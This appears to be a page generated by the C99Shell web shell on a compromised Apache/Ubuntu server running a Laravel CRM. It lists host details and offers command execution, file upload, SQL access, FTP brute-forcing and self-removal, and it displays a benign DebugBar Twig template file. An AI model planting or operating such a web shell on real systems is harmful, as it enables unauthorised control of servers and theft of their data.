!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/vendor/php-debugbar/php-debugbar/src/DebugBar/Bridge/Twig/   drwxrwxrwx
Free 13.13 GB of 57.97 GB (22.65%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     TraceableTwigTemplate.php (3.43 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
 * This file is part of the DebugBar package.
 *
 * (c) 2013 Maxime Bouroumeau-Fuseau
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace DebugBar\Bridge\Twig;

use 
Twig_Template;
use 
Twig_TemplateInterface;

/**
 * Wraps a Twig_Template to add profiling features
 * 
 * @deprecated
 */
class TraceableTwigTemplate extends Twig_Template implements Twig_TemplateInterface
{
    protected 
$template;

    
/**
     * @param TraceableTwigEnvironment $env
     * @param Twig_Template $template
     */
    
public function __construct(TraceableTwigEnvironment $envTwig_Template $template)
    {
        
$this->env $env;
        
$this->template $template;
    }

    public function 
__call($name$arguments)
    {
        return 
call_user_func_array(array($this->template$name), $arguments);
    }

    public function 
doDisplay(array $context, array $blocks = array())
    {
        return 
$this->template->doDisplay($context$blocks);
    }

    public function 
getTemplateName()
    {
        return 
$this->template->getTemplateName();
    }

    public function 
getEnvironment()
    {
        return 
$this->template->getEnvironment();
    }

    public function 
getParent(array $context)
    {
        return 
$this->template->getParent($context);
    }

    public function 
isTraitable()
    {
        return 
$this->template->isTraitable();
    }

    public function 
displayParentBlock($name, array $context, array $blocks = array())
    {
        
$this->template->displayParentBlock($name$context$blocks);
    }

    public function 
displayBlock($name, array $context, array $blocks = array(), $useBlocks true)
    {
        
$this->template->displayBlock($name$context$blocks$useBlocks);
    }

    public function 
renderParentBlock($name, array $context, array $blocks = array())
    {
        return 
$this->template->renderParentBlock($name$context$blocks);
    }

    public function 
renderBlock($name, array $context, array $blocks = array(), $useBlocks true)
    {
        return 
$this->template->renderBlock($name$context$blocks$useBlocks);
    }

    public function 
hasBlock($name)
    {
        return 
$this->template->hasBlock($name);
    }

    public function 
getBlockNames()
    {
        return 
$this->template->getBlockNames();
    }

    public function 
getBlocks()
    {
        return 
$this->template->getBlocks();
    }

    public function 
display(array $context, array $blocks = array())
    {
        
$start microtime(true);
        
$this->template->display($context$blocks);
        
$end microtime(true);

        if (
$timeDataCollector $this->env->getTimeDataCollector()) {
            
$name sprintf("twig.render(%s)"$this->template->getTemplateName());
            
$timeDataCollector->addMeasure($name$start$end);
        }

        
$this->env->addRenderedTemplate(array(
            
'name' => $this->template->getTemplateName(),
            
'render_time' => $end $start
        
));
    }

    public function 
render(array $context)
    {
        
$level ob_get_level();
        
ob_start();
        try {
            
$this->display($context);
        } catch (
Exception $e) {
            while (
ob_get_level() > $level) {
                
ob_end_clean();
            }

            throw 
$e;
        }

        return 
ob_get_clean();
    }

    public static function 
clearCache()
    {
        
Twig_Template::clearCache();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0082 ]--